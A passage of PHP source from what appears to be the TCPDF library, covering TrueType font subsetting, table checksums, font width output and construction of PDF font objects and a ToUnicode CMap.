$pfile .= '$file=\''.$fmetric['file'].'\';'."\n"; $pfile .= '$ctg=\''.$fmetric['ctg'].'\';'."\n"; // create CIDToGIDMap $cidtogidmap = str_pad('', 131072, "\x00"); // (256 * 256 * 2) = 131072 foreach ($ctg as $cid => $gid) { $cidtogidmap = $this->updateCIDtoGIDmap($cidtogidmap, $cid, $ctg[$cid]); } // store compressed CIDToGIDMap $fp = fopen($outpath.$fmetric['ctg'], 'wb'); fwrite($fp, gzcompress($cidtogidmap)); fclose($fp); } } $pfile .= '$desc=array('; $pfile .= '\'Flags\'=>'.$fmetric['Flags'].','; $pfile .= '\'FontBBox\'=>\'['.$fmetric['bbox'].']\','; $pfile .= '\'ItalicAngle\'=>'.$fmetric['italicAngle'].','; $pfile .= '\'Ascent\'=>'.$fmetric['Ascent'].','; $pfile .= '\'Descent\'=>'.$fmetric['Descent'].','; $pfile .= '\'Leading\'=>'.$fmetric['Leading'].','; $pfile .= '\'CapHeight\'=>'.$fmetric['CapHeight'].','; $pfile .= '\'XHeight\'=>'.$fmetric['XHeight'].','; $pfile .= '\'StemV\'=>'.$fmetric['StemV'].','; $pfile .= '\'StemH\'=>'.$fmetric['StemH'].','; $pfile .= '\'AvgWidth\'=>'.$fmetric['AvgWidth'].','; $pfile .= '\'MaxWidth\'=>'.$fmetric['MaxWidth'].','; $pfile .= '\'MissingWidth\'=>'.$fmetric['MissingWidth'].''; $pfile .= ');'."\n"; if (isset($fmetric['cbbox'])) { $pfile .= '$cbbox=array('.substr($fmetric['cbbox'], 1).');'."\n"; } $pfile .= '$cw=array('.substr($fmetric['cw'], 1).');'."\n"; $pfile .= '// --- EOF ---'."\n"; // store file $fp = fopen($outpath.$font_name.'.php', 'w'); fwrite($fp, $pfile); fclose($fp); // return TCPDF font name return $font_name; } /** * Returns a subset of the TrueType font data without the unused glyphs. * @param $font (string) TrueType font data. * @param $subsetchars (array) Array of used characters (the glyphs to keep). * @return (string) A subset of TrueType font data without the unused glyphs. * @author Nicola Asuni * @protected * @since 5.2.000 (2010-06-02) */ protected function _getTrueTypeFontSubset($font, $subsetchars) { ksort($subsetchars); $offset = 0; // offset position of the font data if ($this->_getULONG($font, $offset) != 0x10000) { // sfnt version must be 0x00010000 for TrueType version 1.0. return $font; } $offset += 4; // get number of tables $numTables = $this->_getUSHORT($font, $offset); $offset += 2; // skip searchRange, entrySelector and rangeShift $offset += 6; // tables array $table = array(); // for each table for ($i = 0; $i < $numTables; ++$i) { // get table info $tag = substr($font, $offset, 4); $offset += 4; $table[$tag] = array(); $table[$tag]['checkSum'] = $this->_getULONG($font, $offset); $offset += 4; $table[$tag]['offset'] = $this->_getULONG($font, $offset); $offset += 4; $table[$tag]['length'] = $this->_getULONG($font, $offset); $offset += 4; } // check magicNumber $offset = $table['head']['offset'] + 12; if ($this->_getULONG($font, $offset) != 0x5F0F3CF5) { // magicNumber must be 0x5F0F3CF5 return $font; } $offset += 4; // get offset mode (indexToLocFormat : 0 = short, 1 = long) $offset = $table['head']['offset'] + 50; $short_offset = ($this->_getSHORT($font, $offset) == 0); $offset += 2; // get the offsets to the locations of the glyphs in the font, relative to the beginning of the glyphData table $indexToLoc = array(); $offset = $table['loca']['offset']; if ($short_offset) { // short version $tot_num_glyphs = ($table['loca']['length'] / 2); // numGlyphs + 1 for ($i = 0; $i < $tot_num_glyphs; ++$i) { $indexToLoc[$i] = $this->_getUSHORT($font, $offset) * 2; $offset += 2; } } else { // long version $tot_num_glyphs = ($table['loca']['length'] / 4); // numGlyphs + 1 for ($i = 0; $i < $tot_num_glyphs; ++$i) { $indexToLoc[$i] = $this->_getULONG($font, $offset); $offset += 4; } } // get glyphs indexes of chars from cmap table $subsetglyphs = array(); // glyph IDs on key $subsetglyphs[0] = true; // character codes that do not correspond to any glyph in the font should be mapped to glyph index 0 $offset = $table['cmap']['offset'] + 2; $numEncodingTables = $this->_getUSHORT($font, $offset); $offset += 2; $encodingTables = array(); for ($i = 0; $i < $numEncodingTables; ++$i) { $encodingTables[$i]['platformID'] = $this->_getUSHORT($font, $offset); $offset += 2; $encodingTables[$i]['encodingID'] = $this->_getUSHORT($font, $offset); $offset += 2; $encodingTables[$i]['offset'] = $this->_getULONG($font, $offset); $offset += 4; } foreach ($encodingTables as $enctable) { // get all platforms and encodings $offset = $table['cmap']['offset'] + $enctable['offset']; $format = $this->_getUSHORT($font, $offset); $offset += 2; switch ($format) { case 0: { // Format 0: Byte encoding table $offset += 4; // skip length and version/language for ($c = 0; $c < 256; ++$c) { if (isset($subsetchars[$c])) { $g = $this->_getBYTE($font, $offset); $subsetglyphs[$g] = true; } ++$offset; } break; } case 2: { // Format 2: High-byte mapping through table $offset += 4; // skip length and version/language $numSubHeaders = 0; for ($i = 0; $i < 256; ++$i) { // Array that maps high bytes to subHeaders: value is subHeader index * 8. $subHeaderKeys[$i] = ($this->_getUSHORT($font, $offset) / 8); $offset += 2; if ($numSubHeaders < $subHeaderKeys[$i]) { $numSubHeaders = $subHeaderKeys[$i]; } } // the number of subHeaders is equal to the max of subHeaderKeys + 1 ++$numSubHeaders; // read subHeader structures $subHeaders = array(); $numGlyphIndexArray = 0; for ($k = 0; $k < $numSubHeaders; ++$k) { $subHeaders[$k]['firstCode'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['entryCount'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['idDelta'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['idRangeOffset'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['idRangeOffset'] -= (2 + (($numSubHeaders - $k - 1) * 8)); $subHeaders[$k]['idRangeOffset'] /= 2; $numGlyphIndexArray += $subHeaders[$k]['entryCount']; } for ($k = 0; $k < $numGlyphIndexArray; ++$k) { $glyphIndexArray[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } for ($i = 0; $i < 256; ++$i) { $k = $subHeaderKeys[$i]; if ($k == 0) { // one byte code $c = $i; if (isset($subsetchars[$c])) { $g = $glyphIndexArray[0]; $subsetglyphs[$g] = true; } } else { // two bytes code $start_byte = $subHeaders[$k]['firstCode']; $end_byte = $start_byte + $subHeaders[$k]['entryCount']; for ($j = $start_byte; $j < $end_byte; ++$j) { // combine high and low bytes $c = (($i << 8) + $j); if (isset($subsetchars[$c])) { $idRangeOffset = ($subHeaders[$k]['idRangeOffset'] + $j - $subHeaders[$k]['firstCode']); $g = ($glyphIndexArray[$idRangeOffset] + $idDelta[$k]) % 65536; if ($g < 0) { $g = 0; } $subsetglyphs[$g] = true; } } } } break; } case 4: { // Format 4: Segment mapping to delta values $length = $this->_getUSHORT($font, $offset); $offset += 2; $offset += 2; // skip version/language $segCount = ($this->_getUSHORT($font, $offset) / 2); $offset += 2; $offset += 6; // skip searchRange, entrySelector, rangeShift $endCount = array(); // array of end character codes for each segment for ($k = 0; $k < $segCount; ++$k) { $endCount[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $offset += 2; // skip reservedPad $startCount = array(); // array of start character codes for each segment for ($k = 0; $k < $segCount; ++$k) { $startCount[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $idDelta = array(); // delta for all character codes in segment for ($k = 0; $k < $segCount; ++$k) { $idDelta[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $idRangeOffset = array(); // Offsets into glyphIdArray or 0 for ($k = 0; $k < $segCount; ++$k) { $idRangeOffset[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $gidlen = ($length / 2) - 8 - (4 * $segCount); $glyphIdArray = array(); // glyph index array for ($k = 0; $k < $gidlen; ++$k) { $glyphIdArray[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } for ($k = 0; $k < $segCount; ++$k) { for ($c = $startCount[$k]; $c <= $endCount[$k]; ++$c) { if (isset($subsetchars[$c])) { if ($idRangeOffset[$k] == 0) { $g = ($idDelta[$k] + $c) % 65536; } else { $gid = (($idRangeOffset[$k] / 2) + ($c - $startCount[$k]) - ($segCount - $k)); $g = ($glyphIdArray[$gid] + $idDelta[$k]) % 65536; } if ($g < 0) { $g = 0; } $subsetglyphs[$g] = true; } } } break; } case 6: { // Format 6: Trimmed table mapping $offset += 4; // skip length and version/language $firstCode = $this->_getUSHORT($font, $offset); $offset += 2; $entryCount = $this->_getUSHORT($font, $offset); $offset += 2; for ($k = 0; $k < $entryCount; ++$k) { $c = ($k + $firstCode); if (isset($subsetchars[$c])) { $g = $this->_getUSHORT($font, $offset); $subsetglyphs[$g] = true; } $offset += 2; } break; } case 8: { // Format 8: Mixed 16-bit and 32-bit coverage $offset += 10; // skip reserved, length and version/language for ($k = 0; $k < 8192; ++$k) { $is32[$k] = $this->_getBYTE($font, $offset); ++$offset; } $nGroups = $this->_getULONG($font, $offset); $offset += 4; for ($i = 0; $i < $nGroups; ++$i) { $startCharCode = $this->_getULONG($font, $offset); $offset += 4; $endCharCode = $this->_getULONG($font, $offset); $offset += 4; $startGlyphID = $this->_getULONG($font, $offset); $offset += 4; for ($k = $startCharCode; $k <= $endCharCode; ++$k) { $is32idx = floor($c / 8); if ((isset($is32[$is32idx])) AND (($is32[$is32idx] & (1 << (7 - ($c % 8)))) == 0)) { $c = $k; } else { // 32 bit format // convert to decimal (http://www.unicode.org/faq//utf_bom.html#utf16-4) //LEAD_OFFSET = (0xD800 - (0x10000 >> 10)) = 55232 //SURROGATE_OFFSET = (0x10000 - (0xD800 << 10) - 0xDC00) = -56613888 $c = ((55232 + ($k >> 10)) << 10) + (0xDC00 + ($k & 0x3FF)) -56613888; } if (isset($subsetchars[$c])) { $subsetglyphs[$startGlyphID] = true; } ++$startGlyphID; } } break; } case 10: { // Format 10: Trimmed array $offset += 10; // skip reserved, length and version/language $startCharCode = $this->_getULONG($font, $offset); $offset += 4; $numChars = $this->_getULONG($font, $offset); $offset += 4; for ($k = 0; $k < $numChars; ++$k) { $c = ($k + $startCharCode); if (isset($subsetchars[$c])) { $g = $this->_getUSHORT($font, $offset); $subsetglyphs[$g] = true; } $offset += 2; } break; } case 12: { // Format 12: Segmented coverage $offset += 10; // skip length and version/language $nGroups = $this->_getULONG($font, $offset); $offset += 4; for ($k = 0; $k < $nGroups; ++$k) { $startCharCode = $this->_getULONG($font, $offset); $offset += 4; $endCharCode = $this->_getULONG($font, $offset); $offset += 4; $startGlyphCode = $this->_getULONG($font, $offset); $offset += 4; for ($c = $startCharCode; $c <= $endCharCode; ++$c) { if (isset($subsetchars[$c])) { $subsetglyphs[$startGlyphCode] = true; } ++$startGlyphCode; } } break; } case 13: { // Format 13: Many-to-one range mappings // to be implemented ... break; } case 14: { // Format 14: Unicode Variation Sequences // to be implemented ... break; } } } // include all parts of composite glyphs $new_sga = $subsetglyphs; while (!empty($new_sga)) { $sga = $new_sga; $new_sga = array(); foreach ($sga as $key => $val) { if (isset($indexToLoc[$key])) { $offset = ($table['glyf']['offset'] + $indexToLoc[$key]); $numberOfContours = $this->_getSHORT($font, $offset); $offset += 2; if ($numberOfContours < 0) { // composite glyph $offset += 8; // skip xMin, yMin, xMax, yMax do { $flags = $this->_getUSHORT($font, $offset); $offset += 2; $glyphIndex = $this->_getUSHORT($font, $offset); $offset += 2; if (!isset($subsetglyphs[$glyphIndex])) { // add missing glyphs $new_sga[$glyphIndex] = true; } // skip some bytes by case if ($flags & 1) { $offset += 4; } else { $offset += 2; } if ($flags & 8) { $offset += 2; } elseif ($flags & 64) { $offset += 4; } elseif ($flags & 128) { $offset += 8; } } while ($flags & 32); } } } $subsetglyphs += $new_sga; } // sort glyphs by key (and remove duplicates) ksort($subsetglyphs); // build new glyf and loca tables $glyf = ''; $loca = ''; $offset = 0; $glyf_offset = $table['glyf']['offset']; for ($i = 0; $i < $tot_num_glyphs; ++$i) { if (isset($subsetglyphs[$i])) { $length = ($indexToLoc[($i + 1)] - $indexToLoc[$i]); $glyf .= substr($font, ($glyf_offset + $indexToLoc[$i]), $length); } else { $length = 0; } if ($short_offset) { $loca .= pack('n', ($offset / 2)); } else { $loca .= pack('N', $offset); } $offset += $length; } // array of table names to preserve (loca and glyf tables will be added later) // the cmap table is not needed and shall not be present, since the mapping from character codes to glyph descriptions is provided separately $table_names = array ('head', 'hhea', 'hmtx', 'maxp', 'cvt ', 'fpgm', 'prep'); // minimum required table names // get the tables to preserve $offset = 12; foreach ($table as $tag => $val) { if (in_array($tag, $table_names)) { $table[$tag]['data'] = substr($font, $table[$tag]['offset'], $table[$tag]['length']); if ($tag == 'head') { // set the checkSumAdjustment to 0 $table[$tag]['data'] = substr($table[$tag]['data'], 0, 8)."\x0\x0\x0\x0".substr($table[$tag]['data'], 12); } $pad = 4 - ($table[$tag]['length'] % 4); if ($pad != 4) { // the length of a table must be a multiple of four bytes $table[$tag]['length'] += $pad; $table[$tag]['data'] .= str_repeat("\x0", $pad); } $table[$tag]['offset'] = $offset; $offset += $table[$tag]['length']; // check sum is not changed (so keep the following line commented) //$table[$tag]['checkSum'] = $this->_getTTFtableChecksum($table[$tag]['data'], $table[$tag]['length']); } else { unset($table[$tag]); } } // add loca $table['loca']['data'] = $loca; $table['loca']['length'] = strlen($loca); $pad = 4 - ($table['loca']['length'] % 4); if ($pad != 4) { // the length of a table must be a multiple of four bytes $table['loca']['length'] += $pad; $table['loca']['data'] .= str_repeat("\x0", $pad); } $table['loca']['offset'] = $offset; $table['loca']['checkSum'] = $this->_getTTFtableChecksum($table['loca']['data'], $table['loca']['length']); $offset += $table['loca']['length']; // add glyf $table['glyf']['data'] = $glyf; $table['glyf']['length'] = strlen($glyf); $pad = 4 - ($table['glyf']['length'] % 4); if ($pad != 4) { // the length of a table must be a multiple of four bytes $table['glyf']['length'] += $pad; $table['glyf']['data'] .= str_repeat("\x0", $pad); } $table['glyf']['offset'] = $offset; $table['glyf']['checkSum'] = $this->_getTTFtableChecksum($table['glyf']['data'], $table['glyf']['length']); // rebuild font $font = ''; $font .= pack('N', 0x10000); // sfnt version $numTables = count($table); $font .= pack('n', $numTables); // numTables $entrySelector = floor(log($numTables, 2)); $searchRange = pow(2, $entrySelector) * 16; $rangeShift = ($numTables * 16) - $searchRange; $font .= pack('n', $searchRange); // searchRange $font .= pack('n', $entrySelector); // entrySelector $font .= pack('n', $rangeShift); // rangeShift $offset = ($numTables * 16); foreach ($table as $tag => $data) { $font .= $tag; // tag $font .= pack('N', $data['checkSum']); // checkSum $font .= pack('N', ($data['offset'] + $offset)); // offset $font .= pack('N', $data['length']); // length } foreach ($table as $data) { $font .= $data['data']; } // set checkSumAdjustment on head table $checkSumAdjustment = 0xB1B0AFBA - $this->_getTTFtableChecksum($font, strlen($font)); $font = substr($font, 0, $table['head']['offset'] + 8).pack('N', $checkSumAdjustment).substr($font, $table['head']['offset'] + 12); return $font; } /** * Returs the checksum of a TTF table. * @param $table (string) table to check * @param $length (int) length of table in bytes * @return int checksum * @author Nicola Asuni * @protected * @since 5.2.000 (2010-06-02) */ protected function _getTTFtableChecksum($table, $length) { $sum = 0; $tlen = ($length / 4); $offset = 0; for ($i = 0; $i < $tlen; ++$i) { $v = unpack('Ni', substr($table, $offset, 4)); $sum += $v['i']; $offset += 4; } $sum = unpack('Ni', pack('N', $sum)); return $sum['i']; } /** * Outputs font widths * @param $font (array) font data * @param $cidoffset (int) offset for CID values * @return PDF command string for font widths * @author Nicola Asuni * @protected * @since 4.4.000 (2008-12-07) */ protected function _putfontwidths($font, $cidoffset=0) { ksort($font['cw']); $rangeid = 0; $range = array(); $prevcid = -2; $prevwidth = -1; $interval = false; // for each character foreach ($font['cw'] as $cid => $width) { $cid -= $cidoffset; if ($font['subset'] AND (!isset($font['subsetchars'][$cid]))) { // ignore the unused characters (font subsetting) continue; } if ($width != $font['dw']) { if ($cid == ($prevcid + 1)) { // consecutive CID if ($width == $prevwidth) { if ($width == $range[$rangeid][0]) { $range[$rangeid][] = $width; } else { array_pop($range[$rangeid]); // new range $rangeid = $prevcid; $range[$rangeid] = array(); $range[$rangeid][] = $prevwidth; $range[$rangeid][] = $width; } $interval = true; $range[$rangeid]['interval'] = true; } else { if ($interval) { // new range $rangeid = $cid; $range[$rangeid] = array(); $range[$rangeid][] = $width; } else { $range[$rangeid][] = $width; } $interval = false; } } else { // new range $rangeid = $cid; $range[$rangeid] = array(); $range[$rangeid][] = $width; $interval = false; } $prevcid = $cid; $prevwidth = $width; } } // optimize ranges $prevk = -1; $nextk = -1; $prevint = false; foreach ($range as $k => $ws) { $cws = count($ws); if (($k == $nextk) AND (!$prevint) AND ((!isset($ws['interval'])) OR ($cws < 4))) { if (isset($range[$k]['interval'])) { unset($range[$k]['interval']); } $range[$prevk] = array_merge($range[$prevk], $range[$k]); unset($range[$k]); } else { $prevk = $k; } $nextk = $k + $cws; if (isset($ws['interval'])) { if ($cws > 3) { $prevint = true; } else { $prevint = false; } if (isset($range[$k]['interval'])) { unset($range[$k]['interval']); } --$nextk; } else { $prevint = false; } } // output data $w = ''; foreach ($range as $k => $ws) { if (count(array_count_values($ws)) == 1) { // interval mode is more compact $w .= ' '.$k.' '.($k + count($ws) - 1).' '.$ws[0]; } else { // range mode $w .= ' '.$k.' [ '.implode(' ', $ws).' ]'; } } return '/W ['.$w.' ]'; } /** * Output fonts. * @author Nicola Asuni * @protected */ protected function _putfonts() { $nf = $this->n; foreach ($this->diffs as $diff) { //Encodings $this->_newobj(); $this->_out('<< /Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$diff.'] >>'."\n".'endobj'); } $mqr = $this->get_mqr(); $this->set_mqr(false); foreach ($this->FontFiles as $file => $info) { // search and get font file to embedd $fontdir = $info['fontdir']; $file = strtolower($file); $fontfile = ''; // search files on various directories if (($fontdir !== false) AND file_exists($fontdir.$file)) { $fontfile = $fontdir.$file; } elseif (file_exists($this->_getfontpath().$file)) { $fontfile = $this->_getfontpath().$file; } elseif (file_exists($file)) { $fontfile = $file; } if (!$this->empty_string($fontfile)) { $font = file_get_contents($fontfile); $compressed = (substr($file, -2) == '.z'); if ((!$compressed) AND (isset($info['length2']))) { $header = (ord($font{0}) == 128); if ($header) { // strip first binary header $font = substr($font, 6); } if ($header AND (ord($font[$info['length1']]) == 128)) { // strip second binary header $font = substr($font, 0, $info['length1']).substr($font, ($info['length1'] + 6)); } } elseif ($info['subset'] AND ((!$compressed) OR ($compressed AND function_exists('gzcompress')))) { if ($compressed) { // uncompress font $font = gzuncompress($font); } // merge subset characters $subsetchars = array(); // used chars foreach ($info['fontkeys'] as $fontkey) { $fontinfo = $this->getFontBuffer($fontkey); $subsetchars += $fontinfo['subsetchars']; } // rebuild a font subset $font = $this->_getTrueTypeFontSubset($font, $subsetchars); // calculate new font length $info['length1'] = strlen($font); if ($compressed) { // recompress font $font = gzcompress($font); } } $this->_newobj(); $this->FontFiles[$file]['n'] = $this->n; $stream = $this->_getrawstream($font); $out = '<< /Length '.strlen($stream); if ($compressed) { $out .= ' /Filter /FlateDecode'; } $out .= ' /Length1 '.$info['length1']; if (isset($info['length2'])) { $out .= ' /Length2 '.$info['length2'].' /Length3 0'; } $out .= ' >>'; $out .= ' stream'."\n".$stream."\n".'endstream'; $out .= "\n".'endobj'; $this->_out($out); } } $this->set_mqr($mqr); foreach ($this->fontkeys as $k) { //Font objects $font = $this->getFontBuffer($k); $type = $font['type']; $name = $font['name']; if ($type == 'core') { // standard core font $out = $this->_getobj($this->font_obj_ids[$k])."\n"; $out .= '<</Type /Font'; $out .= ' /Subtype /Type1'; $out .= ' /BaseFont /'.$name; $out .= ' /Name /F'.$font['i']; if ((strtolower($name) != 'symbol') AND (strtolower($name) != 'zapfdingbats')) { $out .= ' /Encoding /WinAnsiEncoding'; } if ($k == 'helvetica') { // add default font for annotations $this->annotation_fonts[$k] = $font['i']; } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } elseif (($type == 'Type1') OR ($type == 'TrueType')) { // additional Type1 or TrueType font $out = $this->_getobj($this->font_obj_ids[$k])."\n"; $out .= '<</Type /Font'; $out .= ' /Subtype /'.$type; $out .= ' /BaseFont /'.$name; $out .= ' /Name /F'.$font['i']; $out .= ' /FirstChar 32 /LastChar 255'; $out .= ' /Widths '.($this->n + 1).' 0 R'; $out .= ' /FontDescriptor '.($this->n + 2).' 0 R'; if ($font['enc']) { if (isset($font['diff'])) { $out .= ' /Encoding '.($nf + $font['diff']).' 0 R'; } else { $out .= ' /Encoding /WinAnsiEncoding'; } } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); // Widths $this->_newobj(); $s = '['; for ($i = 32; $i < 256; ++$i) { if (isset($font['cw'][$i])) { $s .= $font['cw'][$i].' '; } else { $s .= $font['dw'].' '; } } $s .= ']'; $s .= "\n".'endobj'; $this->_out($s); //Descriptor $this->_newobj(); $s = '<</Type /FontDescriptor /FontName /'.$name; foreach ($font['desc'] as $fdk => $fdv) { if (is_float($fdv)) { $fdv = sprintf('%F', $fdv); } $s .= ' /'.$fdk.' '.$fdv.''; } if (!$this->empty_string($font['file'])) { $s .= ' /FontFile'.($type == 'Type1' ? '' : '2').' '.$this->FontFiles[$font['file']]['n'].' 0 R'; } $s .= '>>'; $s .= "\n".'endobj'; $this->_out($s); } else { // additional types $mtd = '_put'.strtolower($type); if (!method_exists($this, $mtd)) { $this->Error('Unsupported font type: '.$type); } $this->$mtd($font); } } } /** * Adds unicode fonts.<br> * Based on PDF Reference 1.3 (section 5) * @param $font (array) font data * @protected * @author Nicola Asuni * @since 1.52.0.TC005 (2005-01-05) */ protected function _puttruetypeunicode($font) { $fontname = ''; if ($font['subset']) { // change name for font subsetting $subtag = sprintf('%06u', $font['i']); $subtag = strtr($subtag, '0123456789', 'ABCDEFGHIJ'); $fontname .= $subtag.'+'; } $fontname .= $font['name']; // Type0 Font // A composite font composed of other fonts, organized hierarchically $out = $this->_getobj($this->font_obj_ids[$font['fontkey']])."\n"; $out .= '<< /Type /Font'; $out .= ' /Subtype /Type0'; $out .= ' /BaseFont /'.$fontname; $out .= ' /Name /F'.$font['i']; $out .= ' /Encoding /'.$font['enc']; $out .= ' /ToUnicode '.($this->n + 1).' 0 R'; $out .= ' /DescendantFonts ['.($this->n + 2).' 0 R]'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); // ToUnicode map for Identity-H $stream = "/CIDInit /ProcSet findresource begin\n"; $stream .= "12 dict begin\n"; $stream .= "begincmap\n"; $stream .= "/CIDSystemInfo << /Registry (Adobe) /Ordering (UCS) /Supplement 0 >> def\n"; $stream .= "/CMapName /Adobe-Identity-UCS def\n"; $stream .= "/CMapType 2 def\n"; $stream .= "/WMode 0 def\n"; $stream .= "1 begincodespacerange\n"; $stream .= "<0000> <FFFF>\n"; $stream .= "endcodespacerange\n"; $stream .= "100 beginbfrange\n"; $stream .= "<0000> <00ff> <0000>\n"; $stream .= "<0100> <01ff> <0100>\n"; $stream .= "<0200> <02ff> <0200>\n"; $stream .= "<0300> <03ff> <0300>\n"; $stream .= "<0400> <04ff> <0400>\n"; $stream .= "<0500> <05ff> <0500>\n"; $stream .= "<0600> <06ff> <0600>\n"; $stream .= "<0700> <07ff> <0700>\n"; $stream .= "<0800> <08ff> <0800>\n"; $stream .= "<0900> <09ff> <0900>\n"; $stream .= "<0a00> <0aff> <0a00>\n"; $stream .= "<0b00> <0bff> <0b00>\n"; $stream .= "<0c00> <0cff> <0c00>\n"; $stream .= "<0d00> <0dff> <0d00>\n"; $stream .= "<0e00> <0eff> <0e00>\n"; $stream .= "<0f00> <0fff> <0f00>\n"; $stream .= "<1000> <10ff> <1000>\n"; $stream .= "<1100> <11ff> <1100>\n"; $stream .= "<1200> <12ff> <1200>\n"; $stream .= "<1300> <13ff> <1300>\n"; $stream .= "<1400> <14ff> <1400>\n"; $stream .= "<1500> <15ff> <1500>\n"; $stream .= "<1600> <16ff> <1600>\n"; $stream .= "<1700> <17ff> <1700>\n"; $stream .= "<1800> <18ff> <1800>\n"; $stream .= "<1900> <19ff> <1900>\n"; $stream .= "<1a00> <1aff> <1a00>\n"; $stream .= "<1b00> <1bff> <1b00>\n"; $stream .= "<1c00> <1cff> <1c00>\n"; $stream .= "<1d00> <1dff> <1d00>\n"; $stream .= "<1e00> <1eff> <1e00>\n"; $stream .= "<1f00> <1fff> <1f00>\n"; $stream .= "<2000> <20ff> <2000>\n"; $stream .= "<2100> <21ff> <2100>\n"; $stream .= "<2200> <22ff> <2200>\n"; $stream .= "<2300> <23ff> <2300>\n"; $stream .= "<2400> <24ff> <2400>\n"; $stream .= "<2500> <25ff> <2500>\n"; $stream .= "<2600> <26ff> <2600>\n"; $stream .= "<2700> <27ff> <2700>\n"; $stream .= "<2800> <28ff> <2800>\n"; $stream .= "<2900> <29ff> <2900>\n"; $stream .= "<2a00> <2aff> <2a00>\n"; $stream .= "<2b00> <2bff> <2b00>\n"; $stream .= "<2c00> <2cff> <2c00>\n"; $stream .= "<2d00> <2dff> <2d00>\n"; $stream .= "<2e00> <2eff> <2e00>\n"; $stream .= "<2f00> <2fff> <2f00>\n"; $stream .= "<3000> <30ff> <3000>\n"; $stream .= "<3100> <31ff> <3100>\n"; $stream .= "<3200> <32ff> <3200>\n"; $stream .= "<3300> <33ff> <3300>\n"; $stream .= "<3400> <34ff> <3400>\n"; $stream .= "<3500> <35ff> <3500>\n"; $stream .= "<3600> <36ff> <3600>\n"; $stream .= "<3700> <37ff> <3700>\n"; $stream .= "<3800> <38ff> <3800>\n"; $stream .= "<3900> <39ff> <3900>\n"; $stream .= "<3a00> <3aff> <3a00>\n"; $stream .= "<3b00> <3bff> <3b00>\n"; $stream .= "<3c00> <3cff> <3c00>\n"; $stream .= "<3d00> <3dff> <3d00>\n"; $stream .= "<3e00> <3eff> <3e00>\n"; $stream .= "<3f00> <3fff> <3f00>\n"; $stream .= "<4000> <40ff> <4000>\n"; $stream .= "<4100> <41ff> <4100>\n"; $stream .= "<4200> <42ff> <4200>\n"; $stream .= "<4300> <43ff> <4300>\n"; $stream .= "<4400> <44ff> <4400>\n"; $stream .= "<4500> <45ff> <4500>\n"; $stream .= "<4600> <46ff> <4600>\n"; $stream .= "<4700> <47ff> <4700>\n"; $stream .= "<4800> <48ff> <4800>\n"; $stream .= "<4900> <49ff> <4900>\n"; $stream .= "<4a00> <4aff> <4a00>\n"; $stream .= "<4b00> <4bff> <4b00>\n"; $stream .= "<4c00> <4cff> <4c00>\n"; $stream .= "<4d00> <4dff> <4d00>\n"; $stream .= "<4e00> <4eff> <4e00>\n"; $stream .= "<4f00> <4fff> <4f00>\n"; $stream .= "<5000> <50ff> <5000>\n"; $stream .= "<5100> <51ff> <5100>\n"; $stream .= "<5200> <52ff> <5200>\n"; $stream .= "<5300> <53ff> <5300>\n"; $stream .= "<5400> <54ff> <5400>\n"; $stream .= "<5500> <55ff> <5500>\n"; $stream .= "<5600> <56ff> <5600>\n"; $stream .= "<5700> <57ff> <5700>\n"; $stream .= "<5800> <58ff> <5800>\n"; $stream .= "<5900> <59ff> <5900>\n"; $stream .= "<5a00> <5aff> <5a00>\n"; $stream .= "<5b00> <5bff> <5b00>\n"; $stream .= "<5c00> <5cff> <5c00>\n"; $stream .= "<5d00> <5dff> <5d00>\n"; $stream .= "<5e00> <5eff> <5e00>\n"; $stream .= "<5f00> <5fff> <5f00>\n"; $stream .= "<6000> <60ff> <6000>\n"; $stream .= "<6100> <61ff> <6100>\n"; $stream .= "<6200> <62ff> <6200>\n"; $stream .= "<6300> <63ff> <6300>\n"; $stream .= "endbfrange\n"; $stream .= "100 beginbfrange\n"; $stream .= "<6400> <64ff> <6400>\n"; $stream .= "<6500> <65ff> <6500>\n"; $stream .= "<6600> <66ff> <6600>\n"; $stream .= "<6700> <67ff> <6700>\n"; $stream .= "<6800> <68ff> <6800>\n"; $stream .= "<6900> <69ff> <6900>\n"; $stream .= "<6a00> <6aff> <6a00>\n"; $stream .= "<6b00> <6bff> <6b00>\n"; $stream .= "<6c00> <6cff> <6c00>\n"; $stream .= "<6d00> <6dff> <6d00>\n"; $stream .= "<6e00> <6eff> <6e00>\n"; $stream .= "<6f00> <6fff> <6f00>\n"; $stream .= "<7000> <70ff> <7000>\n"; $stream .= "<7100> <71ff> <7100>\n"; $stream .= "<7200> <72ff> <7200>\n"; $stream .= "<7300> <73ff> <7300>\n"; $stream .= "<7400> <74ff> <7400>\n"; $stream .= "<7500> <75ff> <7500>\n"; $stream .= "<7600> <76ff> <7600>\n"; $stream .= "<7700> <77ff> <7700>\n"; $stream .= "<7800> <78ff> <7800>\n"; $stream .= "<7900> <79ff> <7900>\n"; $stream .= "<7a00> <7aff> <7a00>\n"; $stream .= "<7b00> <7bff> <7b00>\n"; $stream .= "<7c00> <7cff> <7c00>\n"; $stream .= "<7d00> <7dff> <7d00>\n"; $stream .= "<7e00> <7eff> <7e00>\n"; $stream .= "<7f00> <7fff> <7f00>\n"; $stream .= "<8000> <80ff> <8000>\n"; $stream .= "<8100> <81ff> <8100>\n"; $stream .= "<8200> <82ff> <8200>\n"; $stream .= "<8300> <83ff> <8300>\n"; $stream .= "<8400> <84ff> <8400>\n"; $stream .= "<8500> <85ff> <8500>\n"; $stream .= "<8600> <86ff> <8600>\n"; $stream .= "<8700> <87ff> <8700>\n"; $stream .= "<8800> <88ff> <8800>\n"; $stream .= "<8900> <89ff> <8900>\n"; $stream .= "<8a00> <8aff> <8a00>\n"; $stream .= "<8b00> <8bff> <8b00>\n"; $stream .= "<8c00> <8cff> <8c00>\n"; $stream .= "<8d00> <8dff> <8d00>\n"; $stream .= "<8e00> <8eff> <8e00>\n"; $stream .= "<8f00> <8fff> <8f00>\n"; $stream .= "<9000> <90ff> <9000>\n"; $stream .= "<9100> <91ff> <9100>\n"; $stream .= "<9200> <92ff> 